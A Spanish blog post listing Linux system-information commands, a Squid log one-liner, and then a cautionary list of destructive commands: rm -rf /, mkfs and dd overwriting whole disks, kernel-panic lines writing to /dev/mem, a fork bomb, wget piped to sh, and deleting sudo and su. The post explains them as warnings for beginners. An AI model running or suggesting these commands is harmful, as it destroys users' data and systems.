sábado, 17 de octubre de 2020

INFORMACIÓN DEL SISTEMA EN LINUX


uname -a:     Información sobre el sistema operativo de la maquina.

df -h:             Información sobre todo los dispositivos montados en la maquina.

hostname:     Devuelve el nombre de la maquina.

uptime:         Cantidad de tiempo trascurrido desde la ultima vez que se arranco el sistema,  cantidad de usuarios trabajando en el sistema y carga del sistema).

dmesg|more: Imprime el "ring buffer" del kernel.

free -tm:         Información sobre la cantidad de memoria disponible y usada.


du -bh /|more: Información sobre el espacio ocupado por cada subdirectorio, comenzando en el directorio raiz /.

ps:                    Información sobre los procesos del actual usuario, que se estan ejecutando.

ps axu:             Información sobre todos los procesos que se estan ejecutando en la maquina.

top:                   Informacion sobre el uso de cpu y memoria de los procesos del sistema.

cat /proc/cpuinfo: Información sobre el microprocesador.

cat /proc/interrupts: Información sobre las interrupciones en uso.

cat /proc/dma: Información sobre dma en uso.

cat /proc/filesystems: Información sobre los sistemas de archivos que se pueden utilizar (compilados en el kernel).

/sbin/lsmod:     Información sobre módulos en uso.

finger usuario: Información sobre el usuario usuario.

who:                   Información sobre  usuarios usando el sistema.

id usuario:         UID, GID y GROUPS del usuario usuario

last:                    Informacion  últimos usuarios que han usado el sistema.

set|more:           Sobre el entorno de usuario actual.

ping maquina: Para comprobar si tenemos contacto con la maquina maquina (maquina: nombre o IP)

/sbin/route:         Tabla de enrutamiento de nuestro sistema.

/sbin/ifconfig:     Información sobre los distintos dispositivos de red

netstat:                 Información valiosa sobre la conexión de red (Este comando tiene muchas posibilidades, ejecutar man netstat

HUMANIZAR logs Squid3

Para leer log’s del squid3 usa la instrucción siguiente:
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’

Y puedes  filtrar cualquier sitio:
#tailf  /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’| grep facebook.com

…y listo.

ELIMINAR

            Linux para eliminar todo lo que quieras sin preguntar es un regalo del cielo, especialmente después de años de errores de “Este archivo no puede ser eliminado” en Windows. Pero los trolls de Internet se apresurarán a engañarte para que recibas comandos de eliminación extremadamente peligrosos que pueden acabar con todos tus discos duros.

a) rm -rf /

Esta línea ejecuta el comando rm delete con dos modificadores: -r, que provoca un borrado recursivo a través de todos los subdirectorios, y -f, que hace que se borren los archivos de sólo lectura sin confirmación. El comando se ejecuta en el directorio /root, borrando esencialmente todo el sistema.

ü  rm: se utiliza para eliminar archivos.

ü  rm -r: borra la carpeta recursivamente, incluso la carpeta vacía.

ü  rm -f: elimina el ‘Archivo de sólo lectura’ sin preguntar.

ü  rm -rf /: Fuerza la eliminación de todo en el directorio raíz.

ü  rm -rf *: Fuerza la eliminación de todo en el directorio actual/de trabajo.

ü  rm -rf .: Fuerza la eliminación de la carpeta actual y las subcarpetas.

Ten en cuenta que en la mayoría de los sistemas Linux de hoy en día, si intentas esto, recibirás una advertencia. Pero una advertencia no está garantizada, así que no lo hagas.

 

Consejo

 

Para evitar el borrado accidental de archivos mediante el comando ‘rm’, crea un alias del comando ‘rm‘ como ‘rm -i‘ en el archivo “.bashrc“, que te pedirá que confirmes cada borrado.

 

FORMATEAR EL DISCO

El terminal es especialmente complicado para los novatos en Linux porque ofrece varias formas de borrar accidentalmente un disco duro. El borrado otro

mkfs.ext3 /dev/hda

Este comando formatea un disco duro para utilizar el sistema de archivos ext3. Formatear un disco no es intrínsecamente malicioso, pero “reinicia” el disco para que quede “como nuevo”. En otras palabras, un disco duro formateado es como una pizarra en blanco.

El formateo es útil para las particiones de disco y las unidades externas, pero realizarlo en un disco duro entero (por ejemplo, /dev/hda) es peligroso y puede hacer que tu sistema sea irrecuperable.

mkfs.ext4 /dev/sda

3. SOBRESCRIBIR EL DISCO DURO

Como si formatear accidentalmente una unidad no fuera suficientemente malo, es posible sobrescribir el disco duro con datos sin procesar. Al menos formatear un disco es un procedimiento real con uso en el mundo real; en cambio, sobrescribir directamente un disco no es tan bueno.

comando > /dev/hda

En el comando anterior, el comando puede ser reemplazado por cualquier comando Bash. El operador > redirige la salida del comando de la izquierda al archivo de la derecha. En este caso no importa cuál es la salida del comando de la izquierda. Estos datos en bruto se redirigen y se utilizan para sobrescribir el disco duro del sistema.

Como puedes imaginar, esto lo hace inútil.

ü  BORRAR EL DISCO DURO

Esta es otra forma de arruinar tu sistema. Esta vez el comando pondrá a cero completamente tu disco duro. No hay corrupción ni sobreescritura de datos; literalmente llenará tu disco duro de ceros. El disco duro ya no se borra.

 

ü  dd if=/dev/zero of=/dev/hda

El comando dd es una instrucción de bajo nivel que se utiliza principalmente para escribir datos en discos físicos. El parámetro if define la fuente de datos, que en este caso es /dev/zero, un especial de Linux que crea un flujo infinito de ceros. El parámetro of define el destino de estos ceros, que es la unidad /dev/hda.

Sí, hay razones legítimas para poner a cero el disco, pero si no sabes cuáles son esas razones, deberías mantenerte alejado de este comando.

 

ü  HACER ESTALLAR TU DISCO DURO

Si estás cansado de escuchar formas de romper tu disco duro, espera. Aquí hay otro para ti. Linux tiene un archivo especial /dev/null que descarta cualquier dato que se escriba en él. Puedes pensar en él como un agujero negro o un destructor de archivos: todo lo que se le dé como entrada será devorado para siempre.

 

ü  mv / /dev/null

¿Puedes detectar un peligro aquí? El comando mv intenta mover el directorio raíz del sistema / a un agujero negro /dev/null. Este es un comando válido y el resultado es terrible: se come el disco duro y no queda nada.

ü  CAUSAR EL KERNEL PANIC ERROR

Windows tiene su infame pantalla azul de la muerte Y, a pesar de los mitos que circulan, Linux no es un sistema completamente seguro. A veces se produce un error interno que hace imposible la recuperación, por lo que el sistema producirá algo parecido a una “pantalla azul”: kernel panic.

 

dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem

Las complejidades de los comandos anteriores no son importantes aquí. Lo importante es que la ejecución de cualquiera de estas líneas hará que el kernel entre en pánico, obligando a reiniciar el sistema. Es mejor no utilizar estos comandos a menos que estés seguro de que sabes lo que está haciendo.

MovieSquare Cliente Descubrimiento Películas Linux

MOVIESQUARE: CLIENTE DE DESCUBRIMIENTO DE PELÍCULAS PARA ESCRITORIO LINUX

ü  BOMBA FORK

Bash es un lenguaje de terminal y es poderoso. No sólo puede ejecutar comandos, sino que también puede ejecutar funciones, lo que facilita la escritura de scripts que pueden automatizar las tareas del sistema. Por desgracia, las funciones no están exentas de riesgos.

 

 :(){:|:&};:

Para tener una mejor idea de cómo funciona, vamos a convertirlo un poco:

 

fu() {

 fu | fu &

}

fu

Este oscuro comando se llama fork bomb, que es un tipo especial de kernel panic. Define una función llamada : que se llama a sí misma recursivamente dos veces durante la ejecución. Una de las llamadas recursivas se produce en primer plano y la otra en segundo plano.

 

En otras palabras, cada vez que se ejecuta esta función, genera dos procesos hijos. Estos hijos engendran sus propios procesos hijos, y este bucle continúa un bucle sin fin. La única manera de salir de esto es reiniciar el sistema.

 

8. EJECUTAR UN SCRIPT REMOTO

He aquí un comando inocente que puede ser realmente útil en la vida diaria de Linux. wget extrae el contenido de una webURL que puede utilizarse para acceder a sitios web o descargar archivos. Sin embargo, hay un sencillo truco que lo hace peligroso:

wget http://url-no-fiable -O- | sh

La combinación anterior descarga el contenido de la URL dada y lo pasa inmediatamente al comando sh, que ejecuta el contenido descargado en la terminal. Si la URL hubiera apuntado a un script malicioso, habría confundido su destino con este comando.

 

ü  SOBRESCRIBIR ARCHIVO DE CONFIGURACIÓN

Un comando que puede sobrescribir un archivo de configuración importante. En Linux hay dos funciones que confunden en parte > – reemplazar y >> – añadir. Así que si escribes > archivo.conf, puedes simplemente borrar el contenido del archivo.

 

comando > archivo.conf

ü  DESACTIVAR LOS PERMISOS DE ROOT

Este último comando es sencillo. Utiliza el comando rm de uso común para desactivar los dos comandos más importantes de Linux: sudo y su. En resumen, estos dos permiten ejecutar otros comandos con privilegios de root. Sin ellos, la vida en Linux sería miserable.

 

rm -f /usr/bin/sudo;rm -f /bin/su


No hay comentarios:

Publicar un comentario

SIGESP PRIMEROS PASOS

Como Crear una Cuenta de Usuario  Entrar en el Modulo Herramientas del Sistemas  --- Seguridad       ---  Definiciones             --- U...